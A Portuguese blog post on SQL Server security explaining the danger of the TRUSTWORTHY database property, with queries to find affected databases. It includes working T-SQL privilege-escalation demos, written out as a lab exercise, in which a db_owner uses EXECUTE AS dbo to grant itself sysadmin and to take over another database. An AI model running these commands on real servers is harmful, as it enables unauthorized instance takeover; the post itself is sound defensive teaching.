Banco de Dados

29 mar, 2019

SQL Server – Entendendo os riscos da propriedade TRUSTWORTHY habilitada em um database

Publicidade

Fala, pessoal!

Em mais um artigo sobre segurança, que é o tema da minha palestra no MVPConf LATAM 2019, vou compartilhar com vocês os riscos da propriedade TRUSTWORTHY de um database no SQL Server, que é muito utilizado em ambientes que utilizam bibliotecas SQLCLR com nível de permissão EXTERNAL_ACCESS ou UNRESTRICTED.

Se você tem uma biblioteca SQLCLR e habilitou a propriedade Trustworthy por causa disso, saiba que existem outras formas de se conseguir utilizar suas bibliotecas CLR sem precisar ativar essa propriedade, que é com uso de certificados e assinatura do Assembly no SQL Server. Em breve escreverei um artigo sobre isso.

Para identificar os databases da sua instância que possuem essa propriedade habilitada, utilize a query abaixo:

SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on
FROM sys.databases
WHERE is_trustworthy_on = 1

Resultado:

E numa consulta um pouco mais elaborada, já podemos fazer a associação com assemblies SQLCLR e com os usuários que são db_owner nesses databases:

IF (OBJECT_ID('tempdb..#Bancos_Trustworthy') IS NOT NULL) DROP TABLE #Bancos_Trustworthy
CREATE TABLE #Bancos_Trustworthy
(
    [database_id] INT,
    [name] NVARCHAR(128),
    [owner_sid] VARBINARY(85),
    [db_owner_member] NVARCHAR(128),
    [state_desc] NVARCHAR(60),
    [is_trustworthy_on] BIT,
    [assembly_name] NVARCHAR(128),
    [permission_set_desc] NVARCHAR(60),
    [create_date] DATETIME
)

INSERT INTO #Bancos_Trustworthy
EXEC sys.sp_MSforeachdb '
SELECT 
    A.database_id, 
    A.[name], 
    A.owner_sid,
    C.member_name,
    A.state_desc, 
    A.is_trustworthy_on,
    B.[name] AS assembly_name,
    B.permission_set_desc,
    B.create_date
FROM 
    [?].sys.databases A
    LEFT JOIN [?].sys.assemblies B ON B.is_user_defined = 1
    OUTER APPLY (
        SELECT B.[name] AS member_name
        FROM [?].sys.database_role_members A
        JOIN [?].sys.database_principals B ON A.member_principal_id = B.principal_id
        JOIN [?].sys.database_principals C ON A.role_principal_id = C.principal_id
        WHERE C.[name] = ''db_owner''
        AND C.is_fixed_role = 1
        AND B.principal_id > 4
    ) C
WHERE
    A.is_trustworthy_on = 1
    AND A.[name] = ''?'''
    

SELECT * FROM #Bancos_Trustworthy

Resultado:

Qual é o papel e o perigo do TRUSTWORTHY = ON?

A propriedade TRUSTWORTHY tem sim, seus benefícios, como a possibilidade de executar Stored Procedures com acesso externo em bibliotecas SQLCLR, mas vai além disso.

Como o Luan Moreno explicou detalhadamente no seu artigo “Porque Utilizar a Opção TRUSTWORTHY“, essa propriedade, quando habilitada, permite que um objeto criado utilizando EXECUTE AS (ou até mesmo um comando ad-hoc) em um determinado database acesse dados de outro database.

Como a operação EXECUTE AS exige um nível de confiabilidade muito grande (saiba sobre os riscos do EXECUTE AS clicando neste link), o SQL Server bloqueia esse tipo de execução, que só é permitida retirando a cláusula EXECUTE AS desse objeto ou habilitando a propriedade TRUSTWORTHY no database onde o objeto está criado.

Qual o risco de ter a propriedade TRUSTWORTHY habilitada em um database? É justamente essa confiabilidade entre os databases.

Meu ambiente tem o seguinte cenário: o usuário dirceu Dirceu_User faz parte dos membros da database role db_owner no banco CLR, que possui a propriedade Trustworthy habilitada. Esse usuário não está nem criado em outros databases e não possui nenhuma permissão a nível de instância.

Vamos ver o que dá pra fazer nesse cenário.

Tentativa 1 – Quero ser sysadmin!

Logo de cara no primeiro teste vou tentar me aproveitar do banco ter a propriedade Trustworthy habilitada para me transformar em um usuário sysadmin. Isso será feito utilizando o usuário padrão dbo para executar os comandos que eu preciso:

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

USE [CLR]
GO

EXECUTE AS USER = 'dbo'
GO

ALTER SERVER ROLE [sysadmin] ADD MEMBER [Dirceu_User]
GO

REVERT
GO

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

Resultado da execução: Agora sou sysadmin!

Já de cara deu pra entender o risco que essa propriedade traz pra gente, né? Imaginem um database com essa propriedade habilitada e que o usuário de alguma aplicação esteja na role db_owner.

Um SQL Injection simples pode fazer com o que invasor obtenha privilégio de sysadmin na instância, mesmo que o usuário da aplicação não seja sysadmin.

Para saber mais sobre SQL Injection, dê uma lida no meu artigo “SQL Server – Como evitar SQL Injection?“. Pare de utilizar Query Dinâmica como EXEC(@Query).

Tentativa 2 – Quero ser db_owner de outros databases!

Nesta segunda tentativa vou tentar criar meu usuário em outro database e me colocar como db_owner desse database também.

Dessa forma um atacante consegue acesso a outros databases que existem na instância, não só no banco que ele conseguiu invadir.

Tentaremos acessar o database “dirceuresende”, pois quero ler os dados que estão lá:

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]

Agora vamos acessar o database “dirceuresende” através do EXECUTE AS:

-- Banco que sou db_owner e possui parâmetro Trustworthy habilitado
USE [CLR]
GO

-- Mudo o contexto da execução para o usuário dbo (sysadmin por default)
EXECUTE AS USER = 'dbo'
GO

-- Utilizando o usuário dbo, vou mudar o database da minha sessão para o "dirceuresende"
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

Agora vou listar quem são os db_owners nesse database:

-- Listo quem são os usuários sysadmin
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

Começando a minha “invasão”, estou utilizando o contexto de execução do usuário dbo e com isso posso criar meu usuário nesse database e me adicionar na database role db_owner:

-- Crio meu usuário nesse database
CREATE USER [Dirceu_User] FOR LOGIN [Dirceu_User]
GO

-- Me autoadiciono na database role db_owner
ALTER ROLE [db_owner] ADD MEMBER [Dirceu_User]
GO

-- Volto para o database que eu executei o comando EXECUTE AS
-- Msg 15199, Level 16, State 1, Line 46
-- The current security context cannot be reverted. Please switch to the original database where 'Execute As' was called and try it again.
USE [CLR]
GO

-- Volto o contexto de execução para o usuário Dirceu_User
REVERT
GO

Agora meu usuário é db_owner do database “dirceuresende”. Não acredita? Vou provar!

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

-- Agora consigo acessar esse database :)
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

-- Listo novamente quem são os usuários db_owner desse database. Sou db_owner :)
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

Resultado final do meu ataque:

Bom, pessoal, com esses dois tipos de ataques demonstrados acima, acho que consegui expor alguns riscos de segurança ao utilizar essa propriedade em ambientes de produção, especialmente em databases que são utilizados por aplicações e são suscetíveis a ataques como SQL Injection e o atacante terá bem mais ferramentas para utilizar com essa propriedade habilitada no banco que ele está atacando.

Vale ressaltar que essa propriedade tem seus benefícios, sim, conforme comentei no início da postagem, mas deve ser ativada com muito cuidado e consciência no ambiente.

Esses exemplos que demonstrei são apenas alguns deles, mas podem ser feitos N tipos de ataques diferentes explorando a brecha de segurança causada pela propriedade Trustworthy.

Se você tem uma biblioteca SQLCLR e habilitou a propriedade Trustworthy por causa disso, saiba que existem outras formas de se conseguir utilizar suas bibliotecas CLR sem precisar ativar essa propriedade, que é com uso de certificados e assinatura do Assembly no SQL Server. Em breve vou escrever um artigo sobre isso, aguardem.

E para tranquilizar vocês, saibam que apenas usuários que estão na role sysadmin podem alterar a propriedade TRUSTWORTHY de um database. Nem mesmo o owner do DB ou os usuários que estão na role db_owner podem alterar essa propriedade.

É isso aí, pessoal! Espero que tenham gostado desse artigo e que vocês comecem a levar a segurança do ambiente mais a sério.

Se você está preocupado com a segurança do seu ambiente e quer a opinião de um especialista no assunto, solicite agora mesmo o check-up gratuito do seu banco de dados + análise de segurança. Será que você não precisa?

Forte abraço e até a próxima!

Referências